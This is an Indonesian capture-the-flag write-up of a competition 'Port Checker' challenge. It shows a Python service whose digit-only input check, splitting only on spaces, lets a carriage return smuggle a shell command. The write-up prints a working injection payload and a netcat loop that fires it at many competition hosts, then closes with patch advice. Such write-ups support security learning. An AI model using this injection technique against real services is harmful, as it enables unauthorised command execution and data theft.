[Cyber Jawara Final 2017] Port Checker (200 Poin)
Masalah
Diberikan berkas source code port-checker.py
dan layanan yang tersedia pada masing-masing server dengan port 11339.
Penyelesaian
Kode tersebut memiliki beberapa perintah yaitu help
, check
, check [Port]
yang memiliki kegunaan berbeda-beda. Kami mulai menganalisis kode dan menemukan beberapa kelemahan pada source code.
elif (cmd.startswith("check")):
try:
if (is_safe(cmd)):
port = cmd.split()[1]
ps = subprocess.Popen("netstat -nt | grep ':" + port + " '",
shell=True, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT)
output = ps.communicate()[0]
if (len(output) > 0):
print "Port " + port + " is open"
print ""
else:
print "Port " + port + " is closed"
print ""
else:
print "Please use 'check [port]' properly"
print ""
except:
print "Error"
Pertama, terdapat modul subprocess
yang menggunakan Shell dan dapat mengakibatkan Command Injection pada layanan yang tersedia. Hal tersebut dapat dilakukan dengan memanfaatkan Input port yang hanya dilindungi oleh proteksi Digit sederhana pada fungsi is_safe
.
def is_safe(cmd):
if (len(cmd.split(' ')) != 2):
return False
for c in cmd.split(' ')[1]:
if (c < '0' or c > '9'):
return False
return True
Kemudian terdapat fungsi split
yang lemah terhadap Whitespace apa saja, tidak hanya spasi. Kami melakukan injeksi pada masing-masing server dengan injeksi dibawah ini.
for i in {100..119};
do
echo "check\r';cat<flag.txt>/tmp/xyz&&echo' 0" | nc 10.1.201.$i 11339 ;
done;
Kami membaca Flag dan menyimpannya pada berkas xyz
di direktori /tmp
. Untuk pengambilan Flag kami memanfaatkan Shell sebelumnya yang sudah kami dapatkan pada Challenge PHP.
Ini dia luarannya.
~ skipped ~
fbe10a3eca5e52f7415bf7b6ca4005c7d93cde8e2ee0ecf5fd88de2527f9a933
Patch
Untuk melakukan penambalah celah keamanan bisa dilakukan dengan menonaktfkan Shell pada modul subprocess
dan mengganti kode tersebut layaknya pada opsi check
saja serta bisa menambahkan sanitasi Input yang ketat pada variabel port
.